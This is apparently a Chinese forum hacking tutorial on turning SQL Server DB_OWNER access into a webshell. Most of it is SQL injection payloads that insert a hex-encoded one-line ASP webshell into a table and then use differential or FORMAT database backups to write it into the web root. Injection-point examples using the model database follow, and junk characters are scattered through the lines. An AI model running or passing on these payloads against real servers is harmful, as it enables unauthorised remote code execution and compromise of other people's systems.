DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

5 v8 M* R/ t" ^! a' v0 J( N5 m& e一利用差异备份
- L- V6 ]. {9 b" G# N0 X6 w4 B加一个参数WITH DIFFERENTIAL
4 L- P$ m+ |5 x8 v
$ E) _2 E9 q+ l3 A! i& J% Ddeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
# R  }5 a. l) ]- j1 ]. Icreate table [dbo].[xiaolu] ([cmd] [image]);
* |  z: I" d; a7 ?" J8 Cinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 a! T2 J5 z3 F" Ldeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
0 B# c! h+ D5 A( K8 S6 ^
7 r1 L0 t- q( O- ]  k二利用完全FORMAT
3 Y4 [# K: _# l& V2 I加一个参数WITH FROMAT
有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
3 M- ~& I8 u6 ~3 `: O* Hdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

7 ]: r1 v( H" Y/ i$ ?7 T& d9 M总的来说就是那么简单几句,下面以备份数据库model为例子
/ R6 F) Q4 S" A! m5 u
id=1;use model create table cmd(str image);insert into cmd(str) values (”)

6 c$ T8 |1 D  [; H6 ~id=1;backup database model to disk=’你的路径‘ with differential,format;–

7 U% G1 ]2 U. M  j; h3 X